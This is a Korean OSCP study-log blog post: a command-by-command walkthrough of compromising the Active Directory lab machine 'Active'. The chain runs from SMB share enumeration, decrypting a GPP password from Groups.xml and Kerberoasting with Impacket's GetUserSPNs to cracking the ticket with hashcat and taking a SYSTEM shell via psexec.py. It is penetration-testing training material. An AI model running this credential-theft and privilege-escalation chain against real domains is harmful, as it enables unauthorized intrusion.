OSCP/OSCP 공부일지

AD 공략 (feat.SMB + Impacket)

takudaddy 2021. 11. 24. 14:09

 

 

 

[정리]

 

1. 오픈 포트 확인

53, 88, 389, 139, 445, 464

 

2. Check Kerberos > LDAB > Domain name > Hostname

 

3. SMB open share 디렉토리 검색 > Groups.xml 파일 있는지 확인 (smbmap or smbclient 사용)

 

4. Groups.xml에서 도메인/유저명/암호 찾아 GetADUsers.py 로 유저 리스트 확인

 

5. Psexec.py 실행

> 내가 어드민 유저라면 시스템 쉘에 붙게 되고 아닌 경우 Not Writable 뜨면서 Psexe.py 정상 실행 안됨

 

6. GetUserSPNs.py 실행하여 administrator 티켓 출력

 

7. hashcat으로 출력된 비밀번호 해시 평문화 작업

 

8. Psexec.py로 administrator 실행

 

 

 

 

 

1. 포트 확인

 

 

# 윈도우 버전이

 

7000번 대 :

윈도우 2008 R2 버전 or

윈도우 7 서비스팩 1

 

9000번 대 :

윈도우 2012 버전 or

윈도우 10

 

9000번 이상 :

윈도우 2016 버전

 

 

 

 

2. 커버로스가 보이면 ldap을 확인

도메인 이름을 확인하여 /etc/hosts로 등록.

 

 

# 다음으로 호스트네임을 확인해야 하는데

일차적으로 nslookup으로 시도

# nslookup이 타임아웃 되어

결과가 안나오면 dnsrecon을 시도

# dnsrecon -d 10.10.10.100 -r 10.0.0.0/8
 

 

 

 

 

3. smb open share 찾기

> nmap 스크립트 검색

# locate -r '\.nse$'
# locate -r '\.nse$' | xargs grep categories
# locate -r '\.nse$' | xargs grep categories | grep 'default\|version'
# locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
# nmap --script safe 10.10.10.100 -p 445
 

> smb 버전이 맞지 않는 경우 결과값이 없는데

이런 경우 smb 버전을 별도로 확인해 준다.

# nmap --script smb-enum-services 10.10.10.100 -p 445 -d  # -d는 디버그 모드
 

 

 

 

 

4. smb 접속 가능 shares 확인 및 shares 내 Groups.xml 파일 찾기 (group policy가 저장되어 있음)

> 방법은 두 가지 : smbmap 또는 smbclient 사용

# shares 기본 검색
# smbclient -L //10.10.10.100     # -L 은 리스트 shares
# enum4linux 10.10.10.100   >> 업데이트가 잘 안되는지 결과가 안나오는 경우가 많다

--------------------------------------------------------------
-방법 1-
# shares 추천 검색
# smbmap -H 10.10.10.100   >> 이걸 추천 >> 결과값 확인 후 smbclient로 해당 shares에 붙어본다
# smbclien //10.10.10.100/Found_Shares

# 접속 가능한 Shares 의 정보 확인 후 해당 shares에 Groups.xml 파일이 있는지 확인 
# smbmap -R Found_Shares -H 10.10.10.100  >> 있는 경우 해당 파일 다운 받기
# smbmap -R Found_Shares -H 10.10.10.100 -A Groups.xml -q >> 모든 리스트가 아닌 Groups.xml 다운

# 받은 파일 경로 확인
# updatedb
# locate Groups.xml
# less ...........Groups.mxl > 도메인/유저명과 암호화 된 패스워드 확인 가능 

# 찾은 암호 복호화
# apt search gpp-decrypt
# apt-get -y install gpp-decrypt
# gpp-decrypt Found_Encrypted_Password_above

---------------------------------------------------------------------

-방법 2-
# 위 작업을 smbmap이 아닌 smbclient에서 하는 경우
# smbclient //10.10.10.100/Found_Shares
> recurse ON
> prompt OFF
> mget *
# gpp-decrypt Found_Encrypted_Password_above
 

 

 

 

 

5. 필요한 정보가 모두 찾아진 경우

Impacket 설치 후 GetADUsers.py 로

도메인 유저 리스트 확인

# GetADUsers.py -all active.htb/svc_tgs -dc-ip 10.10.10.100 >> 가끔 순서바꿔야 출력되는 경우 있음
# GetADUsers.py -all -dc-ip 10.10.10.100 active.htb/svc_tgs
 

 

> 내가 admin 유저라면 psexec으로 시스템 권한 탈취 가능

# psexec.py active.htb/svc_tgs@10.10.10.100
>> not Writable로 뜨는 경우 admin 유저가 아니라는 소리
 

 

# smbmap으로 다른 shares 찾아보기

> 도메인 명, 유저 명, 암호를 알고있는 상황이기 때문에

해당 유저로 접속시 처음보다 더 많은 접근 권한이 있을 것이다.

# smbmap -d active.htb -u svc_tgs -p Found_Decrypted_Password -H 10.10.10.100 >> shares 검색

# smbmap -d active.htb -u svc_tgs -p Found_Decrypted_Password -H 10.10.10.100 -R Found_Shares
>> 해당 shares 파일 리스트 확인
 

 

# 이후 작업은 상대 서버에 접속 후 진행

1. 호스트 윈도우를 사용해도 되고

2. rdesktop으로 붙어도 됨

 

1. 호스트 윈도우 사용하는 경우

# 기존 vpn 접속 끊고 윈도우에서 openvpn으로 접속
# cmd 열고
C:> ping 10.10.10.100

# 기본 실험
C:> runas /netonly /user:takudaddy cmd
암호 : 아무거나 또는 enter

위 커맨드를 입력하는 경우 해당 유저로 새 터미널이 활성화 됨 (아래 이미지 참고)
이러한 기능을 활용하여 찾은 도메인명\유저로 접속이 가능함

# 접속 시도
C:> runas /netonly /user:active.htb\svc_tgs cmd
암호 : Found_Decrypted_Password
 

 

 

# 정상 접속 후 작업 절차

# shares 접속 가능 확인
C:> dir \\10.10.10.100\Found_shares_name

블러드하운드의 SharpHound.exe 사용 >> 커버로스터블 유저를 검색하는 작업. 타킷 서버에 받은 후 작업
C:> powershell
PS C:> dir \\10.10.10.100\Found_shares_name   >>  shares 티켓 재확인
PS C:> Test-NetConnection -ComputerName 10.10.10.100 -port 389 >> 389 ladp 포트
>> 결괏값 맨 하단 TcpTestSucceeded 가 True로 되어 있는지 확인 >> 포트 리스닝 상태인지 확인하는 작업

와이어 샤크 키고 정상 접속 되는지 확인
PS C:> nslookup >>  IP 확인 후 대역이 다른 경우 ncpa.cpl 들어가서 DNS 주소 바꾸기
PS C:> .\SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
>> bloodhound 파일로 저장됨
>> 리눅스 머신으로 돌아와서 해당 파일을 bloodhound로 실행, 
커버로스터블 유저를 검색할 수 있다. administrator, krbtgt 등
 

 

 

 

6. 칼리에서 Impacket의 GetUserSPNs.py 실행

> 커버로스를 통한 administrator 패스워드 추출 작업

# GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/svc_tgs
>> 해쉬로 된 암호가 출력된다
 

> 해시값을 파일로 저장 후 hashcat으로 평문 변환

> 구글 검색 : hashcat example hashes

> $krb5tbg$23$ 항목 검색 = 13100

 

 

 

 

7. 해시캣으로 평문화 작업

# ./hashcat -m 13100 Found_hashes /usr/share/wordlist/rockyou.txt
 

 

 

8. psexec.py 로 시스템 쉘 침투

# psexec.py active.htb/administrator@10.10.10.100

Password : Found_cracked_hash_pass
 

 

 

 

728x90